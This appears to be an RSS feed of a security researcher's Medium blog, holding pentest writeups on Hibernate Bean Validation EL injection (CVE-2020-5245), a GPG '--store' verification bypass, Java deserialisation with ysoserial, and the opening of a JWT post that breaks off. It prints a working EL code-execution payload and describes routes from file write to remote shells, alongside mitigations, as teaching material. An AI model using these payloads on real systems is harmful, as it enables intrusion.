<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Swagat on Medium]]></title>
        <description><![CDATA[Stories by Swagat on Medium]]></description>
        <link>https://medium.com/@w3bspl01t3r?source=rss-86ff73133e73------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*JRVvNX08692WDRYqHJlzYg.png</url>
            <title>Stories by Swagat on Medium</title>
            <link>https://medium.com/@w3bspl01t3r?source=rss-86ff73133e73------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 27 Nov 2026 22:29:34 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@w3bspl01t3r/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Blog Shift Update]]></title>
            <link>https://w3bspl01t3r.medium.com/blog-shift-update-74335e1e6e03?source=rss-86ff73133e73------2</link>
            <guid isPermaLink="false">https://medium.com/p/74335e1e6e03</guid>
            <dc:creator><![CDATA[Swagat]]></dc:creator>
            <pubDate>Tue, 14 Jan 2025 09:04:48 GMT</pubDate>
            <atom:updated>2025-01-14T09:04:48.805Z</atom:updated>
            <content:encoded><![CDATA[<p>Hi Everyone,</p><p>I have shifted all the blogs written on medium to <a href="https://javarce.com/">https://javarce.com/</a> and will continue to write there.</p><p>Thanks</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=74335e1e6e03" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Bean Validation To Remote Code Execution]]></title>
            <link>https://w3bspl01t3r.medium.com/bean-validation-to-remote-code-execution-c43063dae58d?source=rss-86ff73133e73------2</link>
            <guid isPermaLink="false">https://medium.com/p/c43063dae58d</guid>
            <category><![CDATA[dropwizard]]></category>
            <category><![CDATA[java]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[offensive-security]]></category>
            <dc:creator><![CDATA[Swagat]]></dc:creator>
            <pubDate>Sat, 13 Apr 2024 20:17:09 GMT</pubDate>
            <atom:updated>2024-04-13T20:17:09.394Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8WfSSbzazkGNP72_3qrqqg.png" /></figure><p>In this blog post we will talk about a Java Specific bug that are often overlooked during pentest , which can give us a code execution if certain Conditions are met.</p><p>We will also take the <strong><em>CVE-2020–5245 </em></strong>and analyze what was the vulnerability and how do we exploit it.</p><p><strong><em>What is Bean and what is Validators On Spring:</em></strong></p><p>The Bean in java simply refers to the POJO classes or we can say ,<br>the classes which have member variable declared , which have getters and setter methods.</p><p>Now when ever we fire any api that api needs to have certain body, and in spring we can set it by passing the Body type as class name.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/699/1*XbAiUNKYm4WPkhKdRHTZlw.png" /></figure><p>Now each time we fire the request we often see that , the application validates the data before processing the request, and this is done by @Valid attribute .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ua9paaSwOpzR-_jjKGvBoA.png" /></figure><p>As you can see above that we do not want specific variable to be null or we want specific variable to be between certain numbers, and for these have added annotation such as @NotNull @Min and @Max .</p><p>These are called Validators and depending on the application requirement we can also introduce our custom validators.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/709/1*LRh2N6wCzvAlLjISVwK9CA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cSX9bN1XIYuFS-5V3Ti7dQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9qKn2IlJdZdIDxeD8eYPtw.png" /></figure><p>Now each request we fire to the /validate endpoint when the data is anything other than the string “Correct Data” its going throw an Error stating that “Wrong data sent”.</p><p><strong><em>Converting To Code Execution:</em></strong></p><p>If you pay attention to the above code you can see that the Message that gets displayed is partially Controlled by the attacker.</p><p>What ever the String passed to the data variable is gets added to the message .</p><p>The message is then sent to buildConstraintViolationWithTemplate() which raises an error and displays the message to the user and discards the request.</p><p>Now we can send a Java expression in the data input and can get a code execution From this function.</p><pre>${&#39;&#39;.getClass().forName(&#39;java.lang.ProcessBuilder&#39;).getDeclaredConstructors()[0].newInstance([&#39;touch&#39;,&#39;/tmp/gg&#39;]).start()}</pre><p><strong>Note:</strong> You may have to change the payload based on the application you are trying to exploit.</p><p><strong><em>Root Cause Analysis:</em></strong></p><p>One key element to exploit this issue is that there needs to be hibernate-validator Dependency present on the Class path.</p><p>If you are using maven and spring , check out the pom.xml file to see if you have hibernate-validator version ≤ 6.1.7.Final</p><p>Now the question is why this dependency is required.</p><p>To understand it in more details we used breakpoint and debugged the complete code flow from BuildConstraintViolationWithTemplate() to the actual sink function which evaluates the Expression which is ELTermResolver.interpolate().</p><p>But before diving into the root cause lets understand few concepts.</p><p><strong><em>Interpolation:</em></strong></p><p><strong>Message Interpolation:</strong> A message interpolator is responsible for transforming the so called message descriptor specified via the message attribute of the constraint into a fully expanded, human-readable error message.</p><p>This can happen in 2 ways</p><p>Using Parameters:</p><pre>Value must be between {min} and {max}</pre><p>Using Expression:</p><pre>Must be greater than ${inclusive == true ? &#39;or equal to &#39; : &#39;&#39;}{value}</pre><p><a href="https://beanvalidation.org/latest-draft/spec/#validationapi-message">Bean Validation specification</a></p><p>So any data which has only {} , is going to be interpolated using Parameters and data which has ${} is going to be interpolated using expressions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AAtW4gs5J3bjmFKlPJZdJA.png" /></figure><p>As you can see on the above code the InterpolationTerm class which has a parameterised Constructor ,checks if the data sent is an ELExpression or not, and the way it checks is simply by checking if the data starts with $</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/745/1*aeSrs3GPsdTIZUxQ2faIuQ.png" /></figure><p>and if the the data starts with $ then the interpolation resolvers is going to be ELTermResolver class.</p><p>Checking the ELTermResolver class, we see the method interpolate() being implemented, which looks like below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xchRD-ur7IsZvRf4ID8fTQ.png" /></figure><p>Keeping the SimplELContext() as the Context the ValueExpression.getvalue() is called on the provided expression which then results in our java expression code being executed.</p><p>The full call stack looks like below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/943/1*FT7X_PiOvbJY3_WJKfp98A.png" /></figure><p>As you can see on the stack trace , the code flow from the org.springframework.validation.beanvalidation jumps to org.hibernate.validator.engine and from there onwards every call is on the hibernate class files.</p><p><strong>Mitigation:</strong></p><p>Use parameterized message templates instead of String concatenation. When doing so, always use Expression variables which will allow you to pass objects directly to the EL context preventing an attacker from being able to arbitrary modify the message template</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*STn94wUD77fJ_IBh0nBg-A.png" /></figure><p><strong>Case Studies:</strong></p><p>DropWizard Remote Code Execution Analysis(CVE-2020–5245 and CVE-2020–11002).</p><p><strong><em>CVE-2020–5245</em></strong></p><p>Lets Take a look into the advisory.</p><p><a href="https://github.com/dropwizard/dropwizard/security/advisories/GHSA-8jpx-m2wh-2v34">Remote Code Execution (RCE) vulnerability in dropwizard-validation &lt;2.0.3</a></p><p>The advisory says the key culprit was the @SelfValidation and the @SelfValidating annotation.</p><p>So lets build our own sample app and implement those and see how code flow occurs from these annotations using debugger and see how can we exploit it.</p><p>We can find the Sample project used at</p><p><a href="https://github.com/w3bspl01t3r/VulnerableApps1DayAnalysis">https://github.com/w3bspl01t3r/VulnerableApps1DayAnalysis</a></p><p>If you are not familiar with DropWizard then before moving forward its good to get familiar, as we will not be discussing on how to create and run the project.</p><p>So we have 2 classes</p><ol><li>Controller</li><li>Pojo Class</li></ol><p>The pojo class is a self validating class and have a selfValidation method called Validate.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/609/1*QVVq51RMBzxV9_Yi9ot7Tw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/709/1*UiGtQQdAmNwa6sbw55MqOQ.png" /></figure><p>The validate method checks if the name is not equals it raises a violation with user value getting concatenated to the Message.</p><p>Setting up the debugger and firing the /test endpoint we see the code first stops at col.addViolation as we have added the breakpoints there.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/810/1*ujI1hQl_hK3gl9whk_jb_Q.png" /></figure><p>And then the code flows to violationCollector.addViolation().</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9iAfOOh0VI07yVdxiYdPIA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NyzjIC5mtYK3psUHF8dJIA.png" /></figure><p>As you can see in the above code the code indeed flows to the</p><pre>this.context.buildConstraintViolationWithTemplate(msg).addConstraintViolation();</pre><p>which is our target sink function, thus if we provide the correct EL Expression , that expression will get evaluated and we will have a Remote Code Execution.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a0zRE95HgcuCGbQEs_dKiA.png" /></figure><p>We used the payload mentioned above and we can clearly see that we got a call back yo our listener thus confirming the code execution.</p><p>Will take a look into CVE-2020–11002 on the next blog.</p><p>That&#39;s it for Today<br>Thanks For Reading <br>Happy Hacking</p><p>You can connect with me at</p><p>LinkedIn: <a href="https://www.linkedin.com/in/swagatkumar/">https://www.linkedin.com/in/swagatkumar/</a><br>Twitter: <a href="https://x.com/webspl01t3r?s=11">https://x.com/webspl01t3r</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c43063dae58d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Weird GPG Bypass]]></title>
            <link>https://infosecwriteups.com/weird-gpg-bypass-f0601e7f1a39?source=rss-86ff73133e73------2</link>
            <guid isPermaLink="false">https://medium.com/p/f0601e7f1a39</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[gpg]]></category>
            <dc:creator><![CDATA[Swagat]]></dc:creator>
            <pubDate>Sun, 12 Nov 2023 15:28:37 GMT</pubDate>
            <atom:updated>2024-02-22T18:08:33.592Z</atom:updated>
            <content:encoded><![CDATA[<h3>GPG Bypass</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m7NAYZ-4PpmVAdNJz_DgRQ.png" /></figure><p>Will talk about a technique of GPG Bypass ,I discovered during one of the pentest i was doing and how i was able to use it to bypass the Filter to Gain Code Execution.</p><p><strong><em>What Is GPG:</em></strong></p><p>GPG which is the abbreviation for GNU privacy guard , a replacement for Symantec’s PGP Cryptography is Software/binary that supports encrypting files both in symmetric and asymmetric way.</p><p><strong>How GPG Works:</strong></p><p>So basically it works on public key encryption</p><p>You can generate your GPG keys using the gpg binary and use those keys to encrypt a file ,share the public key to make sure the others can verify the file and use the private key to decrypt it.</p><p><strong>Example:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ePvxTWpeyPqwJTHYtU41ww.png" /></figure><p>As you can see we generated the GPG keys and then use it the encrypt and decrypt files as we mentioned above.</p><p><strong>How the decryption Goes on:</strong></p><p>So once you receive a encrypted file , you can use the GPG binary to decrypt it like below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/679/1*4mvlW3Dw2_-ZZQFdlWnfAw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/843/1*ffuKCIGbcnovPgHs4KhKdg.png" /></figure><p>The question is how the gpg is being used as a filter ?</p><p>Well think of a software upgrade feature.</p><p>If you take some example , let’s say the OpManager of Zoho Corp,</p><p>if you see how the upgrade happens ,</p><ul><li>Download the upgrade pack</li><li>SSH into the box</li><li>Use the OpManager’s upgrade shell script by passing the Upgrade File location</li></ul><p>But some Applications allows such upgrades from the web it self.</p><p>The application asks you for a upgrade bundle file , and then uses that file to either download the necessary files from the Application’s upgrade server and then overwrite the files,</p><p>or the bundle may it self contain the files it want to overwrite, and it uses them directly</p><p>Such upgrade functionality can be exploited to Arbitrary file write(AFW) if proper measures are not taken.</p><p>To defend against this kind of attack , the application generally accepts an encrypted bundle file whose keys to decrypt either lies on the underlying file system or it might download as per the need and this file is generally differs from one instance of the app to other.</p><p>Check out the below code,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/797/1*8LfH17VVzn17HLksQMBTaQ.png" /></figure><p>If you see the code above, the file uses the gpg binary to verify and decrypt the file,</p><p>You may think, well there are no — decrypt flag mentioned ,so how is it even decrypting.</p><p><strong>Thats a good catch but not enough,</strong><br>When you pass a encrypted file to gpg , even if you do not mention the</p><p>— decrypt</p><p>flag , the gpg is going to figure it by it’s own and going to involve the keys for decryption and since you will not have the relevant keys , the process will fail.</p><p>But take a look on what happens when you use the above command on a terminal</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/847/1*VsnvW0pK2oV9E9_63NGWGA.png" /></figure><p>The first line of output says</p><pre>No Command Supplied, Trying to Guess what you mean...</pre><p>Which means if you can fool the GPG to think that this is not an encrypted file but a normal gpg file then the gpg is going to simply recover the actual file which will then be used later in the upgrade process.</p><p><strong>— store flag</strong></p><p>So while Iwas reading through the man page for gpg i came across the — store flag which creates a valid gpg file but doesn’t involve any kind of keys,</p><p>So if i infect the actual bundle file and then pass it , the filter is going to be passed, and thus my files is going to be overwritten in the file system.</p><p>So let’s spawn a new VM instance encrypt a file there and try to decrypt on this vm.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/609/1*4_ZttfJiAa4lmUEwgb1AQw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/484/1*_4HuZWZ0lfoTs43AgYGKlQ.png" /></figure><p>As you can see above , the file didn’t got verified as the keys were different,</p><p>Now lets apply the trick.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*rHy0HGAvUcIE0DRs97Xb2g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Walldpis5zu4g6HTWGUoxQ.png" /></figure><p>As you can see the file got verified and the actual text file got retrieved and saved in the file specified by us.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/450/1*pcs23Da5opbzvTkw3fjaEA.gif" /></figure><p>Using this now i can craft a bundle file that will give me a Arbitrary file Write and thus can lead to RCE.(There are many ways to achieve RCE from the Arbitrary file write, can be by overwriting cronjobs, Application files, dropping shells in webroot or may be you can find some shell scripts or python scripts which gets triggered by some api and you can use it to achieve rce that way).</p><p><strong>Note: </strong>The features are not just restricted to Software upgrade , it can be backup restore and others as well, and if you are not able to get AFW, then may be you can try ti get a File Disclosure using symlink attack.</p><p>Thats it for Today.</p><p>Thanks For Reading.<br>Happy Hacking.</p><p>You can connect with me at:</p><p>linkedin: <a href="https://www.linkedin.com/in/swagatkumar/">https://www.linkedin.com/in/swagatkumar/</a><br>Twitter: <a href="https://x.com/webspl01t3r?s=11">https://x.com/webspl01t3r</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f0601e7f1a39" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/weird-gpg-bypass-f0601e7f1a39">Weird GPG Bypass</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Insecure Deserialisation(JAVA)]]></title>
            <link>https://systemweakness.com/insecure-deserialisation-java-d1fee11f49b1?source=rss-86ff73133e73------2</link>
            <guid isPermaLink="false">https://medium.com/p/d1fee11f49b1</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[java-deser]]></category>
            <category><![CDATA[insecure-deserialization]]></category>
            <dc:creator><![CDATA[Swagat]]></dc:creator>
            <pubDate>Thu, 31 Mar 2022 06:13:15 GMT</pubDate>
            <atom:updated>2022-05-25T14:46:45.419Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d0NHhTUihbNfZ8bz6YXQTg.png" /></figure><p>In this blog post we will learn what is Deserialisation .Why we need it .How it works and how can we abuse it.All in the context of java.</p><p><strong><em>What is deserialisation:</em></strong></p><p>If you google deserialisation it says</p><pre>Deserialisation is <strong>the process of reconstructing a data structure or object from a series of bytes or a string in order to instantiate the object for consumption</strong>.</pre><p>Let’s understand with an example.</p><p>Consider a class called session</p><p>This class is responsible for checking the session tokens from the user.Whether the token is valid or not , which level of permission this user has(may be the role is just user or may be admin) etc etc.</p><p>Now this class has multiple variables and functions in place that can be used by another class lets say checkUser.java to verify the above stuff.Now the developers thought lets create a serialised object out of the class and send it to the user as a session_token after a successful authentication.</p><p>When the user calls an authenticated endpoint this token gets submitted. Now the application recreates the class , takes all the required data out of it and then decides what to do.</p><p>The last phase i.e recreating the class , taking the data and deciding what to do is what we call as deserialisation . Basically we are reconstructing the object or the strings , so that we can create the object and consume it.</p><p><strong><em>Why we need it:</em></strong></p><p>The reason we needed serialisation and deserialisation in the past is we want to store the state of the objects or we want to transfer objects that can be used some where else(may be from one JVM to another JVM).</p><p>Considering the variety of Content-types we have now like JSON,XML we don’t really need serialisation and deserialisation but still there are systems that uses it and thats where we need to know how it works.</p><p><strong>Example:</strong></p><p>Consider the below class</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/843/1*H6umNNICftX3Boeck0VsQQ.png" /></figure><p>This class has pretty much all the things you will see in a class typically.</p><p>We have a constructor here ,variables and a function. Inside the function we also have another variable</p><p>Let’s create a serialised object</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/992/1*WqYqlWqSA8XPwZgRZZJN3g.png" /></figure><p>The above class will serialise the helloWorld class and will create a serialised object out of it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/522/1*-2I51u5YPbGst-z3Mv1_PA.png" /></figure><p>This is how the hex representation of the serialised class looks like.if you will base64 encode it you will see the string starts with r00.This r00 is symbol you can say to identify that the gibberish thing you are seeing is nothing but a serialised object.</p><p>Now let’s deserialise the code and call the Display() function.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/984/1*7cE1RG9lySZfaPhl9jXWew.png" /></figure><p>As you can see we successfully deserialised the byte-stream and called the display() function.</p><p>One main thing to note here is the line number 25.See how the class casting is happening.</p><p><strong>Exploitation:</strong></p><p>The Exploitation of vanila deserialisation can be in 2 ways.</p><ol><li>Either change some variables value that may lead to elevated privileges</li><li>RCE by gadget Chaining.</li></ol><p>If you see the helloworld.java there is a variable called is_admin whose value is set to be false.If this value is responsible for setting the user role we can exploit this and can become admin.</p><p>let’s do a little modifications and observe how this happens.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TMbmvyg41LoHhRev8vJgeg.png" /></figure><p>As you can see the is_admin value is set to False. Considering the fact that we can control the serialised object lets create our own custom exploit class and change the value.</p><p>To do so here are the steps:</p><ol><li>Copy the exact code of the class and paste it into a java file achieving the same name as the target.(do not forget the package)</li><li>Now change the value of the variable you want.</li><li>Create another class with main function and serialise the 1st class</li><li>Send it to the target.</li></ol><p>Video POC</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FJOPcZT66Y74%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DJOPcZT66Y74&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FJOPcZT66Y74%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="640" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/714bc6477cd71c6eafd013c1f076dbb3/href">https://medium.com/media/714bc6477cd71c6eafd013c1f076dbb3/href</a></iframe><p>Now You might be thinking, well if this is the case i can change the contents of the display() function and if the target application is calling display() anywhere I can get a RCE out of it.</p><p>Well that can’t happen and the reason is when we serialise the class we don’t serialise everything .<strong>We serialise the variables, values supplied to constructors and the object </strong>(the minimal, <strong>and</strong> <strong>these are the things we can modify and make an effect on the workflow of the application</strong>.)so that we can reinstantiate the class.</p><p>How ever if you see line number 25 where the class cast is happening , readObject() is being called.So if the serialised class have a readObject() implementation that will be get executed as part this line.</p><p>Check out the video</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FjuKZkRb9HOg%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DjuKZkRb9HOg&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FjuKZkRb9HOg%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/c21d9eb32f19b6133f14155a7b4ee283/href">https://medium.com/media/c21d9eb32f19b6133f14155a7b4ee283/href</a></iframe><p>To get an RCE out of this we have to find a class which has the custom implementation of readObject() and that takes argument from the user.</p><p>Let’s take a look into below code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gG702EvCs9cnLzf4FMuuvA.png" /></figure><p>But the above scenario cant happen all the time. In fact there is a very good chance that you will not get this anywhere.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*JI8Tfx3IipUbxHfNA6K3lw.jpeg" /></figure><p>Remember the line where the class cast is happening.What if you put a serialised object of a different class present in the class path of the application?</p><p>The answer is it will throw a ClassCastException but if that class has a custom implementation of readObject <strong>it will also get executed.</strong></p><p>Let’s take a look.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FB_vEodyQBlY%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DB_vEodyQBlY&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FB_vEodyQBlY%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="640" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/3d4a0d59d306f0df5b61de03d4c563a8/href">https://medium.com/media/3d4a0d59d306f0df5b61de03d4c563a8/href</a></iframe><p>But how all the above things make sense to get an RCE.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/634/1*d9Y4x0RfyDQT9NIUYlrQ0Q.jpeg" /></figure><p>Well the thing is in the application class path there are certain classes which have the custom implementation of readObject() and it executes the command.</p><p>But there is another issue.We cant reach those classes directly in other words they don&#39;t execute the input sent by the user directly.So we have to reach them via other classes.And this is what we call a <strong>Gadget Chain.</strong></p><p><strong>Here we chain a number of classes to reach a certain class which have the custom readObject() implementation and it executes code.</strong></p><p>Take a look into the below picture.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/674/1*PaYg3HXonr93MLyi92geBA.png" /></figure><p>This is a gadget chain is called CommonCollections1.</p><p><em>Note:Will write a separate blog on how to trace the gadget Chain.</em></p><p>If the environment where the target application is running have these classes present then we can exploit an RCE via this gadget chain.</p><p>Just like this there are number of other gadget Chains. Each can execute code depending on the target application’s environment.</p><p>we can use a tool called <a href="https://github.com/frohoff/ysoserial">ysoserial</a> to create these gadget chains for us that can execute our code on the target server.</p><p><a href="https://github.com/frohoff/ysoserial">GitHub - frohoff/ysoserial: A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.</a></p><p>Let’s try to exploit our application with <a href="https://github.com/frohoff/ysoserial">ysoserial</a>.</p><p>If we are engaged in a white-box pentest we can easily find-out which gadget chain will work for us(By looking into all the dependencies).But in case of blackbox pentest we have to either take the help of information disclosure bug or try out all the possible chains.</p><p>Sometimes base64 decoding the serialised object may give you an idea about the chain you need to use.</p><p>To gain an rce as I mentioned we need gadget chains.And as our application is just a demo application it don’t have any gadget chains.So let’s add CommonCollections 3.2.1 to our class path.</p><p>But wait if these classes are not there by default what is the point then.</p><p>The thing is when we use some libraries of java those libraries at some point use these classes or gadgets .So in a real world application you will definitely find one of the gadget mentioned on the ysoserial.jar file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*pZI6jpe2jttYajPyYWOXZA.png" /></figure><p>Let’s use the ysoserial.jar and get a simple curl request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JVUN-VKORblIcpF0aBbuPg.png" /></figure><p>As you can see we got call back at our listener.</p><p>One thing to notice here is even if i added commonCollection 3.x.x i am using commonCollections5 for my payload.If you will use CommonCollections3 it wont work and the reason is <a href="https://github.com/frohoff/ysoserial/issues/65">https://github.com/frohoff/ysoserial/issues/65</a>.</p><p>So if we are in a white box approach we can always check the logs and findout why our payload didn’t worked and get it working quickly by googling.</p><p>But in case of a black-box test all we can do is hit-n-trial.</p><p>One thing we can do in case of blackbox testing is to use the burp extension called Java Deserialisation Scanner.Its a free extension.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OoqUIBS98AX2_wDIKaRQEg.png" /></figure><p>As you can see it quickly identified the possible gadget chains to exploit.</p><p>So this is how we can exploit the insecure implementation of readObject().</p><p><strong>Mitigation:</strong></p><p>To mitigate this the best approach is to not deserialise the data from the user.</p><p>But if that is not possible we can do something called lookupAhead technique This is basically checking which class we. are trying to deserialise before deserialising it.</p><p>The idea here is to overwrite the ObjectInputStream#resolveClass().Since this is the class that gets executed before redObject().</p><p>Take a look .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/601/1*M1zYXqIBtDKUvY1qczi6lg.png" /></figure><p>If you see the stoprce() implementation</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/880/1*SjgEBNz5WBLPzIzuowFAGw.png" /></figure><p>Now when we try to exploit the deserialisation</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Aa7TDeUpCZO2VFghGbb5Jw.png" /></figure><p>So this is how we can mitigate the risk if we had to deserialise the untrusted user data.</p><p><strong>Thats it for today</strong>.</p><p><strong>Thanks For Reading</strong></p><p><strong>Happy Hacking</strong></p><p><strong>You can connect with me at:</strong></p><p><strong>linkedin:</strong><a href="https://www.linkedin.com/in/swagatkumar/">https://www.linkedin.com/in/swagatkumar/</a></p><p><strong>Twitter:</strong><a href="https://twitter.com/webspl01t3r">https://twitter.com/webspl01t3r</a></p><p><strong>Challenge</strong>:</p><p><a href="https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-developing-a-custom-gadget-chain-for-java-deserialization">https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-developing-a-custom-gadget-chain-for-java-deserialization</a></p><p><strong>References:</strong></p><p><a href="https://portswigger.net/web-security/deserialization">https://portswigger.net/web-security/deserialization</a></p><p><a href="https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html">https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d1fee11f49b1" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/insecure-deserialisation-java-d1fee11f49b1">Insecure Deserialisation(JAVA)</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hacking JWT]]></title>
            <link>https://systemweakness.com/hacking-jwt-d29f39e202d5?source=rss-86ff73133e73------2</link>
            <guid isPermaLink="false">https://medium.com/p/d29f39e202d5</guid>
            <category><![CDATA[jwt]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[jwt-token]]></category>
            <dc:creator><![CDATA[Swagat]]></dc:creator>
            <pubDate>Sun, 27 Feb 2022 16:21:37 GMT</pubDate>
            <atom:updated>2023-05-04T15:35:03.160Z</atom:updated>
            <content:encoded><![CDATA[<p>This article is all about pentesting JWT. You can practice all of these techniques on vulnerable target availabe at burp Suite webacademy labs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DkGL4Z_UjfJIlB0BdtIK9w.png" /></figure><p>I will try to make the article as easy as possible and will try to make you understand in very layman language.</p><p><strong><em>What is JWT:</em></strong></p><p>JWT is a token mechanism which is actually designed as a means of checking authorization. Though in certain situation we will see this being used for authentication.</p><p>A JWT looks like this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/533/1*ftL8KefwQXcnEAt-tNnMUQ.png" /></figure><p>As you can see it has 3 parts. The red part is called header the purple part is called body/payload and the 3rd part is signature.</p><p>This entire string(apart from the last part)is base64 encoded which on decoding will result something like</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/296/1*Zar_OhFUu9HECQymWpheXg.png" /></figure><p>The key value pairs are called claims.ideally the header part must have alg and typ claim.</p><p>The body part can have any thing as claim.</p><p>There are couple of standard claims but we can also add our custom claim both in header and body.(Almost all libraries let you do this).</p><p>Here are some of the standard claims.</p><figure><img alt="" 